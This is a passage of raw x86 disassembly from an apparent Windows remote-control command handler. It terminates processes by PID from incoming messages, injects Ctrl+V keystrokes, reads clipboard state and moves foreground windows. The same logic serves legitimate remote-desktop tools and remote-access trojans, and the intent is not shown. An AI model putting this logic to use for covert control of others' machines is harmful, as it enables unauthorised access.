push 0x3e8
mov eax, dword [0x540338]
mov edx, dword [0x54033c]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e34bd
cmp eax, 0
je case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x1c]
and ax, 0xffff
mov word [0x54a67c], ax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov ebx, dword [eax*4 + 0x540950]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x54a6e0], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x19
and al, 1
mov byte [ebp - 0xfd], al
cmp byte [ebp - 0xfd], 1
jne 0x4e3512
mov byte [0x540478], 0xff
mov byte [0x5404c0], 0
xor eax, eax
mov dword [0x54a948], eax
jmp 0x4e352e
call fcn.004dfc40
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5419d0]
cmp dword [eax], 0
jg 0x4e3522
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x54048c], al
cmp byte [0x54048c], 0
je 0x4e360b
mov byte [0x54a6a8], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a69c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a6a0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 0xc
and al, 0xf
mov byte [0x5404b8], al
cmp byte [0x54a6a9], 0
jle 0x4e359a
mov al, byte [0x54a6a9]
mov byte [0x5404bc], al
jmp 0x4e35af
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 8
and al, 0xf
mov byte [0x5404bc], al
call fcn.004d92d8
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x18]
and al, 0xf
mov byte [0x54a690], al
test ebx, ebx
jle 0x4e35d1
mov eax, ebx
call fcn.004dfcb0
shl eax, 2
mov dword [0x5404b4], eax
jmp 0x4e35e0
mov eax, ebx
call fcn.004dfcb0
shl eax, 3
mov dword [0x5404b4], eax
mov eax, dword [0x5404b4]
test eax, eax
jns 0x4e35ec
add eax, 3
sar eax, 2
call fcn.004030b8
mov edx, eax
neg eax
add eax, eax
mov dword [0x5404a0], eax
mov byte [0x54a6e0], 1
jmp 0x4e36be
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
and al, 0xff
mov byte [0x54a6a8], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0xc
and al, 0xf
mov byte [0x5404b8], al
cmp byte [0x5404b8], 2
jne 0x4e3648
call fcn.0046f088
fcomp dword [0x4e82bc]
fnstsw ax
sahf
jbe 0x4e3648
mov byte [0x5404b8], 3
cmp byte [0x54a6a9], 0
jle 0x4e365d
mov al, byte [0x54a6a9]
mov byte [0x5404bc], al
jmp 0x4e3672
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x5404bc], al
call fcn.004d92d8
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 0xf
mov byte [0x54a690], al
cmp dword [0x54a6d8], 0xb438
ja 0x4e3699
mov eax, ebx
call fcn.004dfcb0
mov dword [0x5404b4], eax
jmp 0x4e36a3
mov dword [0x5404b4], 0x3e8
mov dword [0x5404a0], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x540a98], eax
xor eax, eax
mov dword [0x54a6ac], eax
cmp byte [0x54a6e0], 0
je 0x4e36d0
cmp byte [0x54a6e1], 0
je 0x4e36f0
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004b506c
test al, al
je 0x4e36f0
call fcn.004b521c
cmp byte [0x5404bc], 3
je 0x4e36fe
call fcn.004d1fe4
cmp byte [0x5404bc], 4
je 0x4e370c
call fcn.004d38a8
cmp dword [0x54a898], 3
jne 0x4e3749
movsx eax, byte [0x540478]
mov edx, dword [0x5404b4]
call fcn.004d2d28
cmp byte [0x5404bc], 5
je 0x4e373a
or eax, 0xffffffff
call fcn.004d2c90
jmp 0x4e376e
mov edx, 2
or eax, 0xffffffff
call fcn.004d2cbc
jmp 0x4e376e
cmp byte [0x5404bc], 5
je 0x4e3759
call fcn.004d2658
jmp 0x4e376e
mov eax, dword [0x541b64]
cmp dword [eax], 0xffffffd8
jge 0x4e376e
mov eax, dword [0x541b64]
mov dword [eax], 0xffffffd8
cmp byte [0x54047c], 0
jne 0x4e3953
mov dl, 1
mov eax, dword [0x422330]
call fcn.0042896c
mov dword [0x54a694], eax
mov dl, 7
mov eax, dword [0x54a694]
call fcn.00429ee4
mov dl, 1
mov eax, dword [0x422330]
call fcn.0042896c
mov dword [0x54a698], eax
mov dl, 7
mov eax, dword [0x54a698]
call fcn.00429ee4
cmp dword [0x540490], 0
jne 0x4e37cf
mov dl, 1
mov eax, dword [0x4145dc]
call fcn.0040377c
mov dword [0x540490], eax
cmp dword [0x540494], 0
jne 0x4e37e9
mov dl, 1
mov eax, dword [0x473b98]
call fcn.00473d30
mov dword [0x540494], eax
cmp dword [0x540498], 0
jne 0x4e3803
mov dl, 1
mov eax, dword [0x414f30]
call fcn.0040377c
mov dword [0x540498], eax
mov eax, dword [0x541ee4]
cmp dword [eax], 0
jne 0x4e3821
mov dl, 1
mov eax, dword [0x4145dc]
call fcn.0040377c
mov edx, dword [0x541ee4]
mov dword [edx], eax
mov eax, dword [0x5417e4]
cmp dword [eax], 0
jne 0x4e383f
mov dl, 1
mov eax, dword [0x473b98]
call fcn.00473d30
mov edx, dword [0x5417e4]
mov dword [edx], eax
mov eax, dword [0x541444]
cmp dword [eax], 0
jne 0x4e385d
mov dl, 1
mov eax, dword [0x4145dc]
call fcn.0040377c
mov edx, dword [0x541444]
mov dword [edx], eax
mov eax, dword [0x5418b0]
cmp dword [eax], 0
jne 0x4e387b
mov dl, 1
mov eax, dword [0x473b98]
call fcn.00473d30
mov edx, dword [0x5418b0]
mov dword [edx], eax
mov eax, dword [0x541874]
cmp byte [eax], 0
jne 0x4e392c
push 0
push 3
lea eax, [ebp - 0x930]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x930]
mov edx, 0x4e82c8
call fcn.0046d7d8
mov dword [ebp - 0x50], eax
xor edx, edx
mov eax, dword [ebp - 0x50]
call fcn.004ae1bc
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5418bc]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x934]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x934]
mov edx, 0x4e82e0
call fcn.0046d7d8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e3924
dec dword [ebp - 0x50]
mov cl, 1
mov dl, 1
mov eax, dword [0x4fc368]
call fcn.0041f360
mov edx, dword [ebp - 0x50]
mov dword [eax + 0x30], edx
call fcn.0041f6ac
cmp dword [ebp - 0x50], 0
jg 0x4e3902
mov eax, dword [0x541874]
mov byte [eax], 1
mov word [0x540374], 0
xor eax, eax
mov dword [0x54a6c0], eax
xor eax, eax
mov dword [0x5404cc], eax
xor eax, eax
mov dword [0x54a6fc], eax
mov byte [0x54047c], 0xff
jmp 0x4e395f
xor edx, edx
mov eax, dword [0x54a698]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x540480], 0
cmp dword [0x5404b4], 0x32
jge 0x4e39a5
cmp byte [0x5404b8], 3
je 0x4e39a5
mov dword [0x54a680], 0xffffffff
mov dword [0x54a684], 0xffffffff
mov dword [0x54a688], 0xffffffff
mov dword [0x54a68c], 0xffffffff
jmp case.0x4e0bea.10
mov dword [0x54a680], 0
mov dword [0x54a684], 0
mov dword [0x54a688], 0
mov dword [0x54a68c], 0
jmp case.0x4e0bea.10
mov byte [0x540480], 1
mov dword [0x5404b4], 0x7d0
jmp case.0x4e0bea.10
cmp byte [0x54047c], 0
je case.0x4e0bea.10
mov byte [0x54047c], 0
mov byte [0x54048c], 0
mov dword [0x5404b4], 0x7d0
xor word [0x54a67c], 0x1a0a
jmp 0x4e3a24
call fcn.004dfc40
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5419d0]
cmp dword [eax], 0
jg 0x4e3a18
mov eax, dword [0x54a694]
call fcn.004037ac
mov eax, dword [0x54a698]
call fcn.004037ac
mov eax, 0x54049c
call fcn.0040e368
call fcn.004e0914
cmp byte [0x540ad8], 0
jne 0x4e3a69
call fcn.004d3fd0
call fcn.004d5284
call fcn.004d59e0
call fcn.004d38a8
call fcn.004d1fe4
cmp dword [0x54a898], 3
jne 0x4e3a86
or eax, 0xffffffff
call fcn.004d2c90
jmp 0x4e3a8b
call fcn.004d2658
call fcn.004fc724
jmp case.0x4e0bea.10
cmp byte [0x54047c], 0
je case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x50], eax
cmp byte [0x54048c], 0
jne 0x4e3ad7
cmp dword [ebp - 0x50], 2
jne 0x4e3ad7
call fcn.0046f088
fcomp dword [0x4e82bc]
fnstsw ax
sahf
jbe 0x4e3ad7
mov dword [ebp - 0x50], 3
movsx eax, byte [0x5404b8]
cmp eax, dword [ebp - 0x50]
je 0x4e3b08
mov al, byte [ebp - 0x50]
mov byte [0x5404b8], al
cmp byte [0x5404b8], 2
jl 0x4e3b08
mov dword [0x54a680], 0
mov dword [0x54a684], 0
cmp byte [0x54a6a9], 0
jle 0x4e3b1d
mov al, byte [0x54a6a9]
mov byte [0x5404bc], al
jmp 0x4e3b32
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x5404bc], al
call fcn.004d92d8
cmp byte [0x5404bc], 3
je 0x4e3b40
call fcn.004d1fe4
cmp byte [0x5404bc], 4
je 0x4e3b4e
call fcn.004d38a8
cmp dword [0x54a898], 3
jne 0x4e3b8b
movsx eax, byte [0x540478]
mov edx, dword [0x5404b4]
call fcn.004d2d28
cmp byte [0x5404bc], 5
je 0x4e3b7c
or eax, 0xffffffff
call fcn.004d2c90
jmp 0x4e3bb0
mov edx, 2
or eax, 0xffffffff
call fcn.004d2cbc
jmp 0x4e3bb0
cmp byte [0x5404bc], 5
je 0x4e3b9b
call fcn.004d2658
jmp 0x4e3bb0
mov eax, dword [0x541b64]
cmp dword [eax], 0xffffffd8
jge 0x4e3bb0
mov eax, dword [0x541b64]
mov dword [eax], 0xffffffd8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0x1f
mov ebx, dword [eax*4 + 0x540950]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 8
and al, 1
mov byte [0x54a6e0], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 9
and al, 1
mov byte [ebp - 0xfd], al
cmp byte [ebp - 0xfd], 0
jne 0x4e3bf1
mov byte [0x540478], 0
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 0xf
mov byte [0x54a690], al
cmp byte [0x54048c], 0
je 0x4e3c34
test ebx, ebx
jle 0x4e3c1c
mov eax, ebx
call fcn.004dfcb0
shl eax, 2
mov dword [0x5404b4], eax
jmp 0x4e3c2b
mov eax, ebx
call fcn.004dfcb0
shl eax, 3
mov dword [0x5404b4], eax
mov byte [0x54a6e0], 1
jmp 0x4e3c58
cmp dword [0x54a6d8], 0xb438
ja 0x4e3c4e
mov eax, ebx
call fcn.004dfcb0
mov dword [0x5404b4], eax
jmp 0x4e3c58
mov dword [0x5404b4], 0x3e8
cmp byte [0x54a6e0], 0
je 0x4e3c6e
cmp byte [0x54a6e1], 0
je case.0x4e0bea.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004b506c
test al, al
je case.0x4e0bea.10
call fcn.004b521c
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x10]
and ax, 0xffff
mov word [0x54a67c], ax
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [0x54a6e4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [0x54a6e8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 0xffff
mov dword [0x54a6ec], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
mov dword [0x54a6f0], eax
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [0x54a6f4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [0x54a6f8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 0xffff
mov dword [0x54a6fc], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
mov dword [0x54a700], eax
jmp case.0x4e0bea.10
lea eax, [ebp - 0xe4]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea eax, [ebp - 0xe4]
call fcn.004db6bc
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0
je 0x4e3d72
mov ecx, dword [ebp - 0xe4]
mov dx, word [0x4e82a8]
mov al, 1
call fcn.004af0f8
jmp case.0x4e0bea.10
xor ecx, ecx
mov dx, word [0x4e82ec]
xor eax, eax
call fcn.004af0f8
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
xor dl, 1
mov eax, dword [0x541cc4]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
call fcn.0044f534
jmp case.0x4e0bea.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0bea.10
lea eax, [ebp - 0x93c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov eax, dword [ebp - 0x93c]
lea edx, [ebp - 0x938]
call fcn.00408e1c
mov edx, dword [ebp - 0x938]
mov eax, 0x54a8dc
call fcn.0040460c
push 0
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0bea.10
lea eax, [ebp - 0x64]
call fcn.004045b8
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0x9f
jne 0x4e3e44
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 4], 0x20
jle 0x4e3e44
lea edx, [ebp - 0x64]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4e3e6b
cmp eax, 0xffffffff
je 0x4e3e6b
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x64], 0
je case.0x4e0bea.10
lea eax, [ebp - 0x40]
mov edx, dword [ebp - 0x64]
call fcn.00404650
jmp 0x4e183a
mov eax, dword [ebp - 0x28]
call fcn.004de110
jmp case.0x4e0bea.10
lea edx, [ebp - 0x940]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0x940]
mov eax, 0x54a844
call fcn.00404e90
mov dl, 1
mov eax, dword [0x54a844]
call fcn.004f84f4
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4e0bea.10
mov byte [0x5403e0], 2
call fcn.004d9eac
call fcn.004da874
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
jmp case.0x4e0bea.10
cmp dword [0x54a58c], 0
je case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x54a58c]
je case.0x4e0bea.10
mov edx, 3
mov eax, dword [0x54a818]
call fcn.004f58ec
jmp case.0x4e0bea.10
lea edx, [ebp - 0x74]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0x74]
mov eax, 0x4e82f8
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e3fab
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x74]
call fcn.00404ae4
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xaf
jne 0x4e3fc7
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
call fcn.004f2fd4
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xae
jne 0x4e3fe8
or edx, 0xffffffff
mov eax, dword [ebp - 0x74]
call fcn.004094cc
call fcn.004f30d8
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xb4
jne 0x4e400a
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x54a824]
call fcn.004048d8
jmp 0x4e183a
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xb5
jne case.0x4e0bea.10
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x54a824]
call fcn.004048d8
jmp 0x4e183a
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045deb8
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4e0bea.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0bea.10
lea eax, [ebp - 0x1e0]
push eax
push ebx
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1e0]
and ecx, 0xffff
mov eax, dword [ebp - 0x1dc]
shl eax, 0x10
or ecx, eax
mov edx, 0xf8
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov si, word [eax + 0x10]
and si, 0xffff
movsx esi, si
mov eax, dword [ebp - 0x2c]
mov edi, dword [eax + 0x10]
shr edi, 0x10
movsx edi, di
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x58], eax
push 0
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [ebp - 0x54]
push eax
push edi
push esi
push 0
push ebx
call sub.user32.dll_SetWindowPos
jmp case.0x4e0bea.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0bea.10
push 0
lea eax, [ebp - 0x200]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1e0]
push eax
push ebx
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 9
ja case.0x4e415e.0
jmp dword [eax*4 + 0x4e4165]
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e43a4
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e41cb
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e43a4
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e43a4
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e4240
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e43a4
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e428c
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e43a4
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e43a4
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e42e9
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e43a4
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e43a4
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e436b
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e4398
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1ec]
push eax
mov eax, dword [ebp - 0x1f0]
push eax
push 0
push ebx
call sub.user32.dll_SetWindowPos
jmp case.0x4e0bea.10
mov eax, dword [0x541950]
cmp dword [eax], 0
jne 0x4e43f0
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
call fcn.004b0adc
test eax, eax
je case.0x4e0bea.10
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab8
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
lea edx, [ebp - 0x944]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x944]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8304
pop eax
call fcn.0046ccf4
lea edx, [ebp - 0x948]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x948]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8318
pop eax
call fcn.0046ccf4
lea eax, [ebp - 0x94c]
call fcn.00471cb0
mov eax, dword [ebp - 0x94c]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x541ea8]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e45a7
mov eax, dword [0x54a570]
call fcn.0046dddc
test al, al
je 0x4e45a7
lea edx, [ebp - 0x950]
mov eax, 0x83
call fcn.004ab980
mov eax, dword [ebp - 0x950]
push eax
lea edx, [ebp - 0x954]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x954]
push eax
lea eax, [ebp - 0x958]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0x958]
pop eax
pop edx
call fcn.0046c3a4
call fcn.0040b1b0
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x95c]
mov eax, 0x84
call fcn.004ab980
mov eax, dword [ebp - 0x95c]
push eax
lea edx, [ebp - 0x960]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x960]
pop edx
call fcn.0046c83c
lea edx, [ebp - 0x964]
mov eax, 0x85
call fcn.004ab980
mov eax, dword [ebp - 0x964]
push eax
lea edx, [ebp - 0x968]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x968]
pop edx
call fcn.0046d194
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab9
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
mov edx, 5
xor eax, eax
call fcn.004f58ec
jmp case.0x4e0bea.10
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3aba
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
mov eax, dword [0x541950]
cmp dword [eax], 0
jne 0x4e45f3
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
cmp byte [0x540b78], 0
jne 0x4e4769
call fcn.004b0c18
test eax, eax
jne 0x4e4769
lea edx, [ebp - 0x96c]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x96c]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8304
pop eax
call fcn.0046ccf4
lea edx, [ebp - 0x970]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x970]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8318
pop eax
call fcn.0046ccf4
mov eax, dword [0x541b30]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4769
mov eax, dword [0x5418f4]
cmp byte [eax], 0
je 0x4e46a8
mov eax, dword [0x5418f4]
mov al, byte [eax]
call fcn.004b0b08
test eax, eax
jne 0x4e46a8
mov eax, dword [0x5418f4]
mov al, byte [eax]
xor ecx, ecx
mov edx, 2
call fcn.004b10a4
lea edx, [ebp - 0x974]
mov eax, 0x83
call fcn.004ab980
mov eax, dword [ebp - 0x974]
push eax
lea edx, [ebp - 0x978]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x978]
pop edx
call fcn.0046d194
lea edx, [ebp - 0x97c]
mov eax, 0x84
call fcn.004ab980
mov eax, dword [ebp - 0x97c]
push eax
lea edx, [ebp - 0x980]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x980]
pop edx
call fcn.0046d194
lea edx, [ebp - 0x984]
mov eax, 0x85
call fcn.004ab980
mov eax, dword [ebp - 0x984]
push eax
lea edx, [ebp - 0x988]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x988]
pop edx
call fcn.0046d194
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3abb
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
mov edx, 5
xor eax, eax
call fcn.004f58ec
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3abc
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
call fcn.004b0adc
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x4e48be
cmp byte [0x540b78], 0
jne 0x4e48be
xor eax, eax
push ebp
push 0x4e48b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x540b78], 1
